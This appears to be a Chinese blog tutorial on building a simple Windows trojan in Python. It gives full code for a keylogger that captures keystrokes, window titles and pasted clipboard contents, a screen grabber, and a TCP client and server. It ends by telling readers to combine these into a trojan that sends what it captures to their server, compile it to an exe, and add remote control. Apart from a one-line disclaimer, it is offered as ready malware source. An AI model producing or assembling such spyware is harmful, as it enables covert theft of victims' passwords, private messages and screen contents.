python编写木马攻击_Python编写简易木马程序

Python编写简易木马程序

0x00 准备

文章内容仅供学习研究、切勿用于非法用途！

这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码，安装配置JEDI插件可以参照这里： http://drops.wooyun.org/tips/4413

首先准备好我们需要的依赖库,python hook和pythoncom。

下载安装python hook

下载安装pythoncom模块：

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download

如果觉得麻烦，你可以直接使用集成了所有我们所需要的python库的商业版Activepython(我们可以用他的免费版)：

http://www.activestate.com/activepython

0x01 键盘记录器

说起Keylogger，大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技，我们暂且回归本质，探探简易键盘记录器的原理与实现。

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook，然后就是对windows API的各种调用。Python之所以用起来方便快捷，主要归功于这些庞大的支持库，正所谓“人生苦短，快用Python”。

代码部分：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

# -*- coding: utf-8 -*-

from

ctypesimport

*

import

pythoncom

import

pyHook

import

win32clipboard

user32= windll.user32

kernel32= windll.kernel32

psapi= windll.psapi

current_window= None

#

def

get_current_process():

# 获取最上层的窗口句柄

hwnd= user32.GetForegroundWindow()

# 获取进程ID

pid= c_ulong(0)

user32.GetWindowThreadProcessId(hwnd,byref(pid))

# 将进程ID存入变量中

process_id= "%d" % pid.value

# 申请内存

executable= create_string_buffer("\x00"*512)

h_process= kernel32.OpenProcess(0x400 |0x10,False,pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

# 读取窗口标题

windows_title= create_string_buffer("\x00"*512)

length= user32.GetWindowTextA(hwnd,byref(windows_title),512)

# 打印

print

print

"[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)

print

# 关闭handles

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

# 定义击键监听事件函数

def

KeyStroke(event):

global

current_window

# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)

if

event.WindowName !=

current_window:

current_window= event.WindowName

# 函数调用

get_current_process()

# 检测击键是否常规按键(非组合键等)

if

event.Ascii >32

and event.Ascii <127:

print

chr(event.Ascii),

else:

# 如果发现Ctrl+v(粘贴)事件，就把粘贴板内容记录下来

if

event.Key==

"V":

win32clipboard.OpenClipboard()

pasted_value= win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print

"[PASTE]-%s" % (pasted_value),

else:

print

"[%s]" % event.Key,

# 循环监听下一个击键事件

return

True

# 创建并注册hook管理器

kl= pyHook.HookManager()

kl.KeyDown= KeyStroke

# 注册hook并执行

kl.HookKeyboard()

pythoncom.PumpMessages()

【知识点】钩子(Hook)：Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息，而且所监视的窗口可以是其他进程所创建的。

撸代码时一定要注意严格区分大小写。检查无误后启动keylogger：

然后可以尝试打开记事本写点东西，过程中可以看到我们的keylogger窗口正在对我们的输入实时记录：

切换窗口时会自动跟踪到新窗口(众：这点功能都没有还敢叫keylogger吗！)，light教授趁机骚扰一下疯狗，可以看到我们的keylogger已经跟踪到QQ聊天窗口，并忠实的记录下我输入的一切。

0x02 看看你在干什么：编写一个screenshotter

截屏实现起来更简单，直接调用几个gui相关的api即可，我们直接看代码：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

# -*- coding: utf-8 -*-

import

win32gui

import

win32ui

import

win32con

import

win32api

# 获取桌面

hdesktop= win32gui.GetDesktopWindow()

# 分辨率适应

width= win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height= win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left= win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top= win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表

desktop_dc= win32gui.GetWindowDC(hdesktop)

img_dc= win32ui.CreateDCFromHandle(desktop_dc)

# 创建一个内存设备描述表

mem_dc= img_dc.CreateCompatibleDC()

# 创建位图对象

screenshot= win32ui.CreateBitmap()

screenshot.CreateCompatibleBitmap(img_dc, width, height)

mem_dc.SelectObject(screenshot)

# 截图至内存设备描述表

mem_dc.BitBlt((0,0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# 将截图保存到文件中

screenshot.SaveBitmapFile(mem_dc,'c:\\WINDOWS\\Temp\\screenshot.bmp')

# 内存释放

mem_dc.DeleteDC()

win32gui.DeleteObject(screenshot.GetHandle())

看看效果如何：

0x03 综合运用：完成一个简易木马

无论是keylogger记录下的内容，还是screenshotter截获的图片，只存在客户端是没有太大意义的，我们需要构建一个简单server和client端来进行通信，传输记录下的内容到我们的服务器上。

编写一个简单的TCPclient

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

# -*- coding: utf-8 -*-

import

socket

# 目标地址IP/URL及端口

target_host= "127.0.0.1"

target_port= 9999

# 创建一个socket对象

client= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

# 连接主机

client.connect((target_host,target_port))

# 发送数据

client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")

# 接收响应

response= client.recv(4096)

print

response

编写一个简单的TCPserver

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

# -*- coding: utf-8 -*-

import

socket

import

threading

# 监听的IP及端口

bind_ip= "127.0.0.1"

bind_port= 9999

server= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print

"[*] Listening on %s:%d" % (bind_ip,bind_port)

def

handle_client(client_socket):

request= client_socket.recv(1024)

print

"[*] Received:%s" % request

client_socket.send("ok!")

client_socket.close()

while

True:

client,addr= server.accept()

print

"[*] Accept connection from:%s:%d" % (addr[0],addr[1])

client_handler= threading.Thread(target=handle_client,args=(client,))

client_handler.start()

开启服务端监听：

客户端执行：

服务端接收到客户端的请求并作出响应：

0x04 结语

最后，你需要做的就是把上面三个模块结合起来，一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。可以使用py2exe把脚本生成exe可执行文件。当然你还可以继续发挥，加上远程控制功能。Py2exe用法可以参考这里：

http://www.py2exe.org/index.cgi/Tutorial

Enjoy coding~

参考文档：

《Black Hat Python》 https://www.google.com https://www.python.org/ http://www.py2exe.org